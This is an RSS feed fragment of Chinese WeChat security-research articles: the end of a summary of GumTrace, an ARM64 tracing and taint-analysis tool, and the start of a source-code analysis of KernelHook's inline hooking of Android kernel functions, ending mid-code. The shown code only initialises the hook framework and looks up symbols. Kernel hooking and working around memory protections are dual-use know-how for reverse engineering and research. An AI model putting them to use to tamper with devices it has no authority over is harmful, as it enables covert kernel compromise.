0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">17 总结</span></h2><p data-line="1244" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">GumTrace是一个将性能和功能推到了ARM64平台trace工具极限的项目。回顾其核心设计决策：</span></p><ol style=" margin-top: 0px;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " class="list-paddingleft-1"><li style=""><strong><span leaf="">C++ Native引擎替代JavaScript</span></strong><p><span leaf="">——绕开Frida的JS层，直接调用Gum C API，获得了数量级的性能提升。</span></p></li><li style=""><strong><span leaf="">Stalker排除策略</span></strong><p><span leaf="">——只对目标模块插桩，系统库原生运行，使得trace速度接近实用水平。</span></p></li><li style=""><strong><span leaf="">环形对象池 + 50MB缓冲区 + 零分配热路径</span></strong><p><span leaf="">——将每条指令的处理开销压到最低。</span></p></li><li style=""><strong><span leaf="">配置驱动的函数识别</span></strong><p><span leaf="">——新函数只需一行配置，无需修改打印逻辑。</span></p></li><li style=""><strong><span leaf="">离线污点分析</span></strong><p><span leaf="">——追踪和分析分离，追踪时只记录，分析时可以反复查询。</span></p></li><li style=""><strong><span leaf="">双向污点追踪</span></strong><p><span leaf="">——正向追踪数据去向，反向追溯数据来源，覆盖安全研究的典型需求。</span></p></li></ol><p data-line="1253" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">对于安全研究者而言，GumTrace填补了&#34;函数级Hook太粗、硬件trace太难&#34;之间的空白。它让研究者能够在真机上获取指令级的完整执行轨迹，配合Trace UI可视化工具和离线污点分析，构成了一套完整的ARM64动态分析工具链。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7b188404&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTY5MzQxMA%3D%3D%26mid%3D2247485117%26idx%3D1%26sn%3D5c5a103b1863aad7dac6b6e40c9bb470">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Apr 2026 10:31:00 +0800</pubDate>
    </item>
    <item>
      <title>安卓内核Hook技术实现分析与应用</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTY5MzQxMA==&amp;mid=2247485111&amp;idx=1&amp;sn=f933f9d819aa2fa0d502768de65dd600</link>
      <description>安卓内核Hook技术实现分析与应用</description>
      <content:encoded><![CDATA[<p>原创 <span>非虫</span> <span>2026-04-13 20:24</span> <span style="display: inline-block;">湖北</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4aa66875&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FSq4BUsrXeTicBuy0Khkl5FyPEHYXE4ztUCgh7MNsZUdpNjtYTcRDzpTSDrs4vqAicypeeaOCB71hoD5SQvcZ3ic7jclBSpOspVicfhjBzDFd1cY%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <h1 data-line="0" dir="auto" style=" margin-top: 0px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 2em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; " data-pm-slice="0 0 []"><span leaf="">安卓内核Hook技术实现分析与应用</span></h1><blockquote style=" background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><p data-line="2" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><span leaf="">本文是基于知名Root框架</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">APatch</span></code><span leaf="">作者</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">bmax121</span></code><span leaf="">开源的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelHook</span></code><span leaf="">项目源码做的深度技术分析。本文从接口到实现，逐层拆解</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ARM64</span></code><span leaf="">内核函数Hook的工程细节。</span></p></blockquote><blockquote style=" background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><p data-line="4" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><span leaf="">本文项目开源地址为：<a href="https://github.com/bmax121/KernelHook" target="_blank">https://github.com/bmax121/KernelHook</a></span></p></blockquote><blockquote style=" background: none 0% 0% / auto repeat scroll padding-box border-box rgb(242, 242, 242);border-color: rgba(0, 122, 204, 0.5);margin: 0px;padding: 0px 16px 0px 10px;border-left-width: 5px;border-left-style: solid;border-radius: 2px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><p data-line="6" dir="auto" style=" margin-top: 0px;margin-bottom: 16px;  "><span leaf="">本文作者：非虫（fei_cong@hotmail.com）</span></p></blockquote><h2 data-line="6" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">1 引言</span></h2><p data-line="10" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">在安卓安全研究、性能分析和内核功能扩展等场景中，内核函数 Hook 是一项基础技术。它的核心目标是在不修改内核源码、不重新编译内核的前提下，拦截并改变目标内核函数的行为。</span></p><p data-line="12" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">传统方案各有局限：</span></p><table style=" border-collapse: collapse;margin-bottom: 0.7em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><thead><tr style=""><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">方案</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">原理</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">不足</span></p></th></tr></thead><tbody><tr style=""><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">kprobes</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">断点指令触发异常</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">性能开销大</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">ftrace</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">函数入口处的 NOP 桩</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">arm64在6.4版本内核后这功能才能用</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">修改系统调用表</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">替换系统调用表项</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">6.9版本内核系统调用表需要调整处理</span></p></td></tr><tr style=""><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">eBPF</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">内核态虚拟机</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">只能观测不能修改控制流</span></p></td></tr></tbody></table><p data-line="21" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelHook</span></code><span leaf="">采用</span><strong><span leaf="">Inline Hook</span></strong><span leaf="">方案——直接修改目标函数入口处的机器码，将控制流导向自定义逻辑。相比上述方案，它不依赖内核编译选项，不受GKI 模块限制，支持安卓9到安卓16全版本。能</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Hook</span></code><span leaf="">任意导出或未导出的内核函数，且性能接近原生调用。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001460" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=1cef1bd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FSq4BUsrXeTicM8w6dY7zRcK3myEpZkG8abODh68mFibWAjO9edtuqQEy4KZMsnMOFwBTpWUz9tcst0ibnynb7audATAgk2icyGpu16WBIZXQib5c%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-line="23" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">本文以</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">KernelHook</span></code><span leaf="">项目的源码为基础，从接口设计、指令重定位、中转桩、内存管理、安全机制适配等维度，完整剖析其技术实现。</span></p><h2 data-line="23" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2 接口与示例</span></h2><p data-line="27" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">KernelHook 对外暴露一组 C 接口，覆盖四大类操作：符号查找、函数替换、回调链注册、函数指针 Hook。所有接口声明在 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">include/hook.h</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">include/ksyms.h</span></code><span leaf="">。</span></p><h3 data-line="25" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.1 初始化</span></h3><p data-line="31" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Freestanding模式（Mode A）下，模块加载后需依次完成符号系统、内存池、页表遍历器和代码写入器的初始化：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="33" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;hook.h&gt;</span></span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;ksyms.h&gt;</span></span></span><br/><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;kmod_compat.h&gt;</span></span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">static</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> __init </span><span style="color: rgb(128, 128, 128);"><span leaf="">my_module_init</span></span><span style="color: inherit;"><span leaf="">(</span><span style="color: rgb(163, 21, 21);"><span leaf="">void</span></span><span leaf="">)</span></span><br/><span leaf="">{</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// kallsyms_lookup_name_addr 由 kmod_loader 在加载时注入</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> err = kmod_compat_init(kallsyms_lookup_name_addr);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (err) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> err;</span><br/><span leaf="">    err = kmod_hook_mem_init();   </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ROX/RW 内存池</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (err) </span><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span leaf=""> err;</span><br/><span leaf="">    kh_pgtable_init();            </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 页表遍历器（读取 TCR_EL1 检测页大小）</span></span><br/><span leaf="">    kh_write_insts_init();        </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 解析 set_memory_rw/ro/x</span></span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">return</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="54" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">Kbuild 模式（Mode C）使用内核构建系统，直接调用内核头文件中的函数，初始化链更短。</span></p><h3 data-line="54" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.25em; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">2.2 符号查找</span></h3><p data-line="58" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksyms_lookup</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ksyms_lookup_cache</span></code><span leaf=""> 是运行时符号查找的核心接口：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="60" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(43, 145, 175);"><span leaf="">#</span><span style="color: rgb(0, 0, 255);"><span leaf="">include</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">&lt;ksyms.h&gt;</span></span></span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 按名称查找内核符号地址</span></span><br/><span style="color: rgb(163, 21, 21);"><span 